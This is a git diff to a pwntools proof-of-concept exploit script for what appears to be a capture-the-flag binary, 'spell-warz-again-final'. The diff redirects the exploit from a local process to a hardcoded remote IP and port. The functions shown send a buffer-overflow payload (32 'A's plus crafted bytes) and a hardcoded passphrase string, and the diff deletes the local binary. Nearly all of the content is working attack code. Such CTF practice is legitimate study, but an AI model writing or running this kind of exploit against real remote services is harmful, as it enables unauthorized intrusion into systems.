diff --git a/poc.py b/poc.py index dcda106..e8bf076 100644 --- a/poc.py +++ b/poc.py @@ -1,10 +1,13 @@ -from pwn import process +from pwn import process, remote FILENAME = "./spell-warz-again-final" +def run(): + # return process(FILENAME) + return remote("103.200.7.150", 60104) def poc0(): - p = process(FILENAME) + p = run() print p.recvuntil(">") p.sendline(("A" * 32) + ("\x11\x11\x11\x11\x11\x11\x11\x11\x01")) print p.recvuntil(">") @@ -22,12 +25,12 @@ def poc0(): def poc1(): - p = process(FILENAME) + p = run() print p.recvuntil(">") p.sendline("Leo") print p.recvuntil(">") p.sendline("y") - for _ in range(100): + for _ in range(2): print p.recvuntil(">") p.sendline("3") print p.recvuntil(">") @@ -47,7 +50,7 @@ def poc1(): def poc2(): - p = process(FILENAME) + p = run() print p.recvuntil(">") p.sendline("__th3_w0rLd_D3str0Y3r__") print p.recvuntil(">") diff --git a/spell-warz-again-final b/spell-warz-again-final deleted file mode 100755 index 43004ae..0000000 Binary files a/spell-warz-again-final and /dev/null differ